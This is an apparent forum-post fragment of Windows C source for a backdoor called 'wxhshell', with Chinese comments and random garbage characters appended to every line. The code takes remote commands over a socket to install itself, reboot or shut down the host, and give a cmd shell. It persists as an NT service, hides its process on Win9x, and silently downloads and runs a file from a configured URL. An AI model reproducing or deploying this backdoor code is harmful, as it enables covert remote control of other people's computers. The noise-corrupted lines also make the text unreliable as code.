  else Ow4_0l&  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 6nk }k]Ji  
  } Q|)>9m!tt  
  else { 8@rYT5e3c  
D 5rH6*J  
    switch(cmd[0]) { <'4Wne.z!  
  =c@hE'{  
  // 帮助 } [#8>T  
  case '?': { hq7f"`  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0);  NAD^10  
    break; yF)J7a:U  
  } IMWt!#vuY  
  // 安装 tKt}]KHV  
  case 'i': { CC=I|/mBM  
    if(Install()) ^# $IoW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~ =u8H  
    else :Vxt2@p{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "zq'nV=  
    break; eF%M2:&c;  
    } :XY%@n  
  // 卸载 =CFjG)L  
  case 'r': { oSrA4g  
    if(Uninstall()) >3/ mV<g f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1e[?}q]*  
    else US)i"l7:H*  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C)U4Fr ?E:  
    break; Wq3PN^  
    } *R+M#l9D`  
  // 显示 wxhshell 所在路径 >IS4  
  case 'p': { Y)k"KRW+  
    char svExeFile[MAX_PATH]; _AF$E"f@  
    strcpy(svExeFile,"\n\r"); p1'q{E+o*  
      strcat(svExeFile,ExeFile); WuE]pm]c  
        send(wsh,svExeFile,strlen(svExeFile),0); C+/EPPi  
    break; n*9QSyJN]  
    } |$/#,Dv7  
  // 重启 f1:>H.m`  
  case 'b': { FZgf"XM>  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;}6wj@8He  
    if(Boot(REBOOT)) QyA^9@iVs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vl$RMW@Ds  
    else { /HUT6B  
    closesocket(wsh); 9 5!xJdq  
    ExitThread(0); OF*E1B M  
    } )F hbN@3  
    break; 1CJ1-]S(3  
    } ?MywA'N@x  
  // 关机 ozsd6&z5l  
  case 'd': { "d-vs t5  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); !QdX+y<re  
    if(Boot(SHUTDOWN)) yE N3/-S+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c k[uvH   
    else { @8\0@[]  
    closesocket(wsh); b:9"nALgC  
    ExitThread(0); Ox ,Rk  
    } MA{ZmPm)  
    break; !JdZ0l  
    } [6K[P3UZx  
  // 获取shell }qGd*k0F0  
  case 's': { z*VK{O)o  
    CmdShell(wsh);  uWMSn   
    closesocket(wsh); QX?moW6UW  
    ExitThread(0); 'xuxMav6m  
    break; ymrnu-p o  
  } kb$Yc)+R4  
  // 退出 zBca$Vp  
  case 'x': { ~2[kCuu  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); [#aJ- Uu  
    CloseIt(wsh); \1?'JdN  
    break; L8E4|F}  
    } w}/+3z  
  // 离开 wtL=^  
  case 'q': { 9h+T O_T@F  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  ^[I> #U  
    closesocket(wsh); ?;w`hA3ei  
    WSACleanup(); t\:=|t,  
    exit(1); D @wIbU  
    break; Bvj  
        } Lf.Ia *R:  
  } |BtFT  
  } lt'N{LFvc  
]w*`}  
  // 提示信息 ifWQwS/,a  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ,9KnC=_y  
} 4K~>  
  } !gsrPM  
]"O* &  
  return; B$OV^iwxK  
} Z"l].\= F  
qs8^qn0A  
// shell模块句柄 x!7!)]h  
int CmdShell(SOCKET sock) %"#ydOy  
{ -:!Wds  
STARTUPINFO si; lkp$rJ#6  
ZeroMemory(&si,sizeof(si)); 2#qc YU  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; @I&k|\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; aU.!+e%_  
PROCESS_INFORMATION ProcessInfo; Tqs|2at<t  
char cmdline[]="cmd"; k:mW ,s|a  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =pj3G?F#  
  return 0; lN"@5(5%  
} jW^]N$>  
F U L'=Xo  
// 自身启动模式 Rb^G~82d?  
int StartFromService(void) x*X{*?5@  
{ fG8^|:  
typedef struct AYsHA w   
{ 4 B[uF/[  
  DWORD ExitStatus; O"X7 DgbC  
  DWORD PebBaseAddress; {EVy.F  
  DWORD AffinityMask; C0^r]^$Z  
  DWORD BasePriority; ^@Qc!(P  
  ULONG UniqueProcessId; [s] ZT  
  ULONG InheritedFromUniqueProcessId; s|[qq7  
}   PROCESS_BASIC_INFORMATION; =<TJ[,h et  
(BK_A {5  
PROCNTQSIP NtQueryInformationProcess; QM~~b=P,\  
ExFz@6@  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; # x X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [CAFh:o  
tu ;Pm4q7  
  HANDLE             hProcess; 5CfD/}{:#I  
  PROCESS_BASIC_INFORMATION pbi; \nTV;@F  
9@nd>B  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); .rX,*|1x  
  if(NULL == hInst ) return 0; <1QXZfQ"  
MlbcJo3  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `Hu2a]e9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %z~kHL  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 5Z:qU{[  
N>)Db  
  if (!NtQueryInformationProcess) return 0; {DUtdu[  
ttBqp|.?S  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); <33,0."K  
  if(!hProcess) return 0; m|OB_[9  
\#N?  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gr@Ril^  
*|@386\  
  CloseHandle(hProcess); Cm"S=gV  
V&Rwj_Y  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); z'"Y+EWN  
if(hProcess==NULL) return 0; Tgbq4xR(  
Y|tK19  
HMODULE hMod; cHOC>|  
char procName[255]; bUYjmb2g)  
unsigned long cbNeeded; zW)Wt.svP  
Ua=r24fy  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 0f'LXn  
vF[ 4kDHk  
  CloseHandle(hProcess); )me`Ud  
uW!saT5o  
if(strstr(procName,"services")) return 1; // 以服务启动 ,^DP  
}-u%6KZ   
  return 0; // 注册表启动 Cbm^: _LR  
} _,d<9 Y)  
M9Nr/jE  
// 主模块 Tb8r+~HK  
int StartWxhshell(LPSTR lpCmdLine) +F2X2e)g"  
{ !?+q7U  
  SOCKET wsl; $q .}eb0  
BOOL val=TRUE; 9b@yDq3hQ  
  int port=0; #l7v|)9v  
  struct sockaddr_in door; cL~YQJYp  
@g]EY&Uzl  
  if(wscfg.ws_autoins) Install(); YBF$/W+=9|  
Ps[#z@5{x  
port=atoi(lpCmdLine); )+w1nw|m  
aUA)p}/:  
if(port<=0) port=wscfg.ws_port; GQQp(%T  
D_)/.m  
  WSADATA data; c& bms)Jwa  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .0~uM!3y  
LhM$!o?W  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;Me*# /  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 9.il1mAKg  
  door.sin_family = AF_INET; (oG.A  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 49c-`[d L  
  door.sin_port = htons(port); WIpV'F|t]`  
8F@Sy,D  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DH.UJ +  
closesocket(wsl); ?,8+1"|$A]  
return 1; x}V&v?1{5  
} 3wcF R0f  
VxARJ*4=Y  
  if(listen(wsl,2) == INVALID_SOCKET) { ;[(d=6{hc]  
closesocket(wsl); #.$y   
return 1; $ ]#WC\Hv  
} @qj]`}Gx'  
  Wxhshell(wsl);  KLE)+|  
  WSACleanup(); +mzLOJed  
Kfr1k  
return 0; XoL DqN!  
v\@RwtP  
} 7')W+`o8eL  
Zj'%c2U_  
// 以NT服务方式启动 5gqs"trF  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )|^8`f  
{ rjO{B`sV*  
DWORD   status = 0; '[%#70*  
  DWORD   specificError = 0xfffffff; fb>$p_s]  
+@?'dw  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Y:t?W  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]sk=V.GGQ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o ]z#~^w  
  serviceStatus.dwWin32ExitCode     = 0; a !%,2|U  
  serviceStatus.dwServiceSpecificExitCode = 0; x\8|A  
  serviceStatus.dwCheckPoint       = 0; ?+^p$'5  
  serviceStatus.dwWaitHint       = 0; *X2PT(e[  
]+W){W=ai  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +>K&zS  
  if (hServiceStatusHandle==0) return; Qz#By V:  
kP ,8[r  
status = GetLastError(); V|$PO Qa3  
  if (status!=NO_ERROR) j-W$)c3X  
{ ^jwzCo-  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; #~"IlBk\  
    serviceStatus.dwCheckPoint       = 0; fx[&"$X  
    serviceStatus.dwWaitHint       = 0; orH6R8P]  
    serviceStatus.dwWin32ExitCode     = status; }6/M5zF3  
    serviceStatus.dwServiceSpecificExitCode = specificError; -P/DmSS8V  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); X3 kFJ{  
    return; )&d=2M;3  
  } 6&ut r!\7  
cK u[ 4D{  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; *qy \%A  
  serviceStatus.dwCheckPoint       = 0; 3?]81v/  
  serviceStatus.dwWaitHint       = 0; H~:oW~Ah  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Td'(RV  
} m{ !$_z8:  
Af]zv~uM  
// 处理NT服务事件,比如:启动、停止 &l1t5 !  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ~44u_^a  
{ `@],J  
switch(fdwControl) RBn/7  
{ @qp6Y_,E[  
case SERVICE_CONTROL_STOP: [07E-TT2U  
  serviceStatus.dwWin32ExitCode = 0; *u"%hXR  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~rdS#f&R2  
  serviceStatus.dwCheckPoint   = 0; *m+FMyr  
  serviceStatus.dwWaitHint     = 0; `D~oY=  
  { if|5v^/  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); yj4"eDg]  
  } {\`tt c>  
  return; O@a OKk  
case SERVICE_CONTROL_PAUSE: .eD&UQ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; -(:T&rfTp  
  break; 92<+ug=  
case SERVICE_CONTROL_CONTINUE: Za|iU`e\  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <1*.:CL"s  
  break; mB_?N $K  
case SERVICE_CONTROL_INTERROGATE: AYfOETz  
  break; cLf90|YFp  
}; s_NY#MPz[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8fP2qj0  
} yC\UT ~j/  
M11\Di1  
// 标准应用程序主函数 :a;F3NJ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?;~E*kzO&  
{ K-TsSW$}  
?m]vk|>  
// 获取操作系统版本 Az:~|P  
OsIsNt=GetOsVer(); lOVcXAe}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @iuX~QA[9  
J\*uW|=F  
  // 从命令行安装 QvZ"{  
  if(strpbrk(lpCmdLine,"iI")) Install(); _`? cBu`  
TS6xF?  
  // 下载执行文件 h6D4CT  
if(wscfg.ws_downexe) { gxVr1DIkN  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MQwxQ{  
  WinExec(wscfg.ws_filenam,SW_HIDE); }qECpKa0  
} _S ng55s  
HC$%"peN1b  
if(!OsIsNt) { T4.wz 58  
// 如果时win9x,隐藏进程并且设置为注册表启动 L'{W|Xb+  
HideProc(); ,gQl_Amvz  
StartWxhshell(lpCmdLine); 5/'Q0]4h  
} 0 (-4"u>?  
else iuY,E  
  if(StartFromService()) ,.9lz  
  // 以服务方式启动 eWAD;x?.  
  StartServiceCtrlDispatcher(DispatchTable); r=n{3o+  
else $f3IO#N  
  // 普通方式启动 Qa=Y?=Za  
  StartWxhshell(lpCmdLine); J "I,]  
#8et91qw  
return 0; >p-UQc  
}
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只看该作者 1 发表于: 2006-10-10
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